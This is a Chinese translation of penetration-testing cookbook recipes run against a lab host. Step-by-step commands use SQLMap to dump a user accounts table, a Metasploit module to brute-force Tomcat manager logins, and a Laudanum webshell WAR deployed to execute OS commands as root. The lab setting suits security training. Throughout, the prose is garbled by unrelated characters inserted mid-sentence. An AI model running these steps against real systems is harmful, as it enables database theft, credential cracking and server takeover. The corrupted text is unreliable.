數(shù)據(jù)庫的users
表中的所有用戶名和密碼均函。
6.8 使用 SQLMap 發(fā)現(xiàn)和利用 SQL 注入
我們已經(jīng)在上一個秘籍中看到亿虽,利用 SQL 注入是個繁瑣的步驟。SQLMap 是個命令行工具苞也,包含在 Kali 中洛勉,可以幫我們自動化檢測和利用 SQL 注入。它帶有多種技巧如迟,并支持多種數(shù)據(jù)庫收毫。
這個秘籍中,我們會使用 SQLMap 來檢測和利用 SQL 注入漏洞殷勘,并用它獲得應(yīng)用的用戶名和密碼此再。
操作步驟
訪問
http://192.168.56.102/mutillidae
。在 Mutillidae 的菜單中劳吠,訪問
OWASP Top 10 | A1 – SQL Injection | SQLi Extract Data | User Info
引润。嘗試任何用戶名和密碼,例如
user
和password
之后點擊View Account Details
痒玩。登錄會失敗淳附,但是我們對 URL 更感興趣议慰。訪問地址欄并將完整的 URL 復(fù)制到剪貼板。
-
現(xiàn)在奴曙,打開終端窗口别凹,輸入下列命令:
sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=userinfo.php&username=user&password=password&user-info-php-submitbutton=View+Account+Details" -p username --current-user --currentdb
你可以注意到,
-u
參數(shù)就是所復(fù)制的 URL 的值洽糟。-p
告訴 SQLMap 我們打算在用戶名參數(shù)中查找注入炉菲。一旦漏洞被利用,我們想讓它獲得當(dāng)前數(shù)據(jù)庫用戶名和數(shù)據(jù)庫的名稱坤溃。我們只打算獲得這兩個值拍霜,因為我們只想判斷這個 URL 的username
參數(shù)是否存在 SQL 注入。 一旦 SQLMap 檢測到應(yīng)用所使用的 DBMS薪介,它會詢問我們是否跳過檢測其它 DBMS 的步驟祠饺,以及是否打算包含所有特定系統(tǒng)的測試。即使它們在當(dāng)前的配置等級和風(fēng)險之外汁政。這里道偷,我們回答
Ues
來跳過其它系統(tǒng),以及No
來包含所有測試记劈。-
一旦我們指定的參數(shù)中發(fā)現(xiàn)了漏洞勺鸦,SQLMap 會詢問我們是否打算測試其它參數(shù),我們回答
No
目木,之后觀察結(jié)果: -
如果我們打開獲得用戶名和密碼换途,類似于我們在上一個秘籍那樣,我們需要知道含有這些信息的表名稱嘶窄。在終端中執(zhí)行下列代碼:
sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=userinfo.php&username=test&password=test&user-info-php-submitbutton=View+Account+Details" -p username -D nowasp --tables
SQLMap 會保存所執(zhí)行的注入日志怀跛,所以第二次攻擊會花費更少的時間。你可以看到柄冲,我們指定了要提取信息(nowasp)的數(shù)據(jù)庫,并告訴 SQLMap 我們想獲取這個數(shù)據(jù)庫的表名稱列表忠蝗。
-
accounts
表使含有我們想要的信息的表之一现横。讓我們轉(zhuǎn)儲內(nèi)容:sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=userinfo.php&username=test&password=test&user-info-php-submitbutton=View+Account+Details" -p username -D nowasp -T accounts --dump
我們現(xiàn)在擁有完整的用戶表,并且我們可以看到阁最,這里密碼并沒有加密戒祠,所以我們可以直接使用它們。
工作原理
SQLMap 會使用 SQL 注入字符串速种,對給定 URL 和數(shù)據(jù)的輸入進行模糊測試姜盈,或者只針對-p
選項中的特定目標(biāo),并且解釋其響應(yīng)來發(fā)現(xiàn)是否存在漏洞配阵。不要模糊測試所有輸入馏颂,最好使用 SQLMap 來利用我們已知存在的注入示血,并始終嘗試縮小搜索過程,通過提供所有可用的信息救拉,例如漏洞參數(shù)难审、DBMS 類型,以及其它亿絮。在所有可能性下尋找注入會花費大量時間告喊,并在網(wǎng)絡(luò)中產(chǎn)生非常大的流量。
這個秘籍中派昧,我們已經(jīng)知道了用戶名參數(shù)存在注入漏洞(因為我們使用了 Mutillidae 的注入測試頁面)黔姜。在第一個攻擊中,我們只希望確認注入是否存在蒂萎,并詢問一些非掣殉常基本的信息:用戶名(--curent-user
)和數(shù)據(jù)庫名稱(--current-db
)。
在第二個攻擊中岖是,我們使用-D
選項帮毁,以及前一次攻擊所獲得的名稱,指定希望查詢的數(shù)據(jù)庫豺撑,我們也使用--tables
詢問了所包含的表名稱烈疚。
知道我們希望獲得哪個表(-T accounts
)之后,我們告訴 SQLMap 使用--dump
轉(zhuǎn)儲它的內(nèi)容聪轿。
更多
SQLMap 也能夠注入 POST 參數(shù)中的輸入變量爷肝。我們只需要添加--data
選項并附帶 POST 數(shù)據(jù),例如:
--data "username=test&password=test"
有時候陆错,我們需要在一些應(yīng)用中獲得身份驗證灯抛,以便能夠訪問應(yīng)用的漏洞 URL。如果是這樣音瓷,我們可以傳遞有效的會話 Cookie給 SQLMap对嚼, 使用--cookie
選項:
--cookie "PHPSESSID=ckleiuvrv60fs012hlj72eeh37"
這在測試Cookie值的注入時也非常有用。
另一個有趣的特性是绳慎,使用--sql-shell
選項纵竖,它可以為我們提供 SQL shell,其中我們可以執(zhí)行 SQL 查詢杏愤,就像我們直接連接到數(shù)據(jù)庫那樣靡砌。或更有趣的是珊楼,我們可以使用--osshell
在數(shù)據(jù)庫服務(wù)器中執(zhí)行系統(tǒng)命令(在注入 MSSQL 服務(wù)器時特別有用)慈俯。
為了了解 SQLMap 擁有的所有選項和特性通砍,你可以執(zhí)行:
sqlmap --help
另見
Kali 包含了用于檢測和利用 SQL 注入漏洞的其它工具尸闸,它們能夠用于代替或配合 SQLMap:
- sqlninja:非常流行的工具,為利用 MSSQL 服務(wù)器而設(shè)計堕担。
- Bbqsql:Python 編寫的 SQL 盲注框架。
- jsql:基于 Java 的工具骗炉,帶有完全自動化的 GUI照宝,我們只需要輸入 URL 并按下按鈕。
- Metasploit:它包含不同 DBMS 的多種 SQL 注入模塊句葵。
6.9 使用 Metasploit 攻擊 Tomcat 的密碼
Apache Tomcat厕鹃,是世界上最廣泛使用的 Java Web 服務(wù)器之一。帶有默認配置的 Tomcat 服務(wù)器非常容易發(fā)現(xiàn)乍丈。發(fā)現(xiàn)暴露 Web 應(yīng)用管理器的服務(wù)器也非常容易剂碴,它是一個應(yīng)用,允許管理員啟動轻专、停止忆矛、添加和刪除服務(wù)器中的應(yīng)用。
這個秘籍中请垛,我們會使用 Metasploit 模塊來執(zhí)行 Tomcat 服務(wù)器上的字典攻擊來獲得管理器應(yīng)用的訪問催训。
準備
在我們開始使用 Metasploit 之前,我們需要在 root 終端中開啟數(shù)據(jù)庫服務(wù):
service postgresql start
操作步驟
-
啟動 Metasploit 的控制臺宗收。
msfconsole
-
啟動之后漫拭,我們需要加載合適的模塊,在
msf>
提示符之后鍵入下列代碼:use auxiliary/scanner/http/tomcat_mgr_login
-
我們可能打算查看它使用什么參數(shù):
show options
-
現(xiàn)在混稽,我們設(shè)置目標(biāo)主機:
set rhosts 192.168.56.102
-
為了使它更快采驻,但是不要太快,我們增加線程數(shù):
set threads 5
-
同時匈勋,我們不希望讓我們的服務(wù)器由于太多請求而崩潰礼旅,所以我們降低爆破的速度:
set bruteforce_speed 3
-
剩余參數(shù)剛好適用于我們的情況,讓我們執(zhí)行攻擊:
run
在一些嘗試中失敗之后洽洁,我們發(fā)現(xiàn)了有效的密碼痘系,它使用
[+]
標(biāo)記。
工作原理
通常 Tomcat 使用 TCP 8080饿自,它的管理器應(yīng)用位于/manager/html
中碎浇。這個應(yīng)用使用基本的 HTTP 驗證。我們剛剛使用的 Metasploit 輔助模塊(tomcat_mgr_login
)有一些值得提及的配置項:
BLANK_PASSWORDS
:對每個嘗試的用戶添加空密碼測試璃俗。PASSWORD
:如果我們打算測試多個用戶的單一密碼,或者添加列表中沒有包含的項目悉默,這就很實用城豁。PASS_FILE
:用于測試的密碼列表。Proxies
:如果我們需要通過代理來訪問我們的目標(biāo)抄课,或者避免檢測唱星,就用這個選項雳旅。RHOSTS
:單個主機,或多個(使用空格分隔)间聊,或者我們想要測試的主機列表文件(/path/to/file/with/hosts
)攒盈。RPORT
:Tomcat 所使用的 TCP 端口。STOP_ON_SUCCESS
:發(fā)現(xiàn)有效密碼之后停止嘗試哎榴。TARGERURI
:主機中管理器應(yīng)用的位置型豁。USERNAME
指定特殊的用戶名來測試,它可以被單獨測試尚蝌,或者添加到定義在USER_FILE
的列表中迎变。USER_PASS_FILE
:包含要被測試的“用戶名 密碼”組合的文件。USER_AS_PASS
:將每個列表中的用戶名作為密碼嘗試飘言。
另見
這個攻擊也可以由 Hydra 執(zhí)行衣形,使用http-head
作為服務(wù),-L
選項來加載用戶列表姿鸿,-P
選項來加載密碼谆吴。
6.10 使用 Tomcat 管理器來執(zhí)行代碼
上一個秘籍中,我們獲得了 Tomcat 管理器的身份認證苛预,并提到了它可以讓我們在服務(wù)器中執(zhí)行代碼句狼。這個秘籍中,我們會使用它來登錄管理器并上傳新的應(yīng)用碟渺,這允許我們在服務(wù)器中執(zhí)行操作系統(tǒng)命令鲜锚。
操作步驟
訪問
http://192.168.56.102:8080/manager/html
。-
被詢問用戶名和密碼時苫拍,使用上一個秘籍中獲得的:
root
和owaspbwa
芜繁。 一旦進入了管理器,尋找
WAR file to deploy
并點擊Browse
按鈕绒极。-
Kali 在
/usr/share/laudanum
包含了一些 webshall骏令,在這里瀏覽它們并選擇文件/usr/share/laudanum/jsp/cmd.war
。 -
加載之后點擊
Deploy
垄提。 -
確保存在新的叫做
cmd
的應(yīng)用榔袋。 讓我們試一試,訪問
http://192.168.56.102:8080/cmd/cmd.jsp
铡俐。-
在文本框中嘗試命令凰兑,例如
ifconfig
: -
我們可以看到,我們可以執(zhí)行命令审丘,但是為了弄清楚我們擁有什么用戶和什么權(quán)限吏够,嘗試
whoami
命令:我們可以看到,Tomcat 在這臺服務(wù)器中運行在 root 權(quán)限下。這意味著我們這里擁有它的全部控制權(quán)锅知,并且能夠執(zhí)行任何操作播急,例如創(chuàng)建或刪除用戶,安裝軟件售睹,配置操作系統(tǒng)選項桩警,以及其它。
工作原理
一旦我們獲得了 Tomcat 管理器的身份認證昌妹,攻擊過程就相當(dāng)直接了捶枢。我們僅僅需要足以讓我們上傳它的應(yīng)用。Laudanum 默認包含在 Kali 中捺宗,是多種語言和類型的 webshell 的集合柱蟀,包括 PHP、ASP蚜厉、 ASP.NET 和 JSP长已。對滲透測試者來說,什么比 webshell 更有用呢昼牛?
Tomcat 能夠接受以 WAR(Web 應(yīng)用歸檔)格式打包的 Java Web 應(yīng)用并將其部署到服務(wù)器上术瓮。我們剛剛使用了這一特性來上傳 Laudanum 中的 webshell。在它上傳和部署之后贰健,我們?yōu)g覽它并且通過執(zhí)行系統(tǒng)命令胞四,我們發(fā)現(xiàn)我們擁有這個系統(tǒng)的 root 訪問。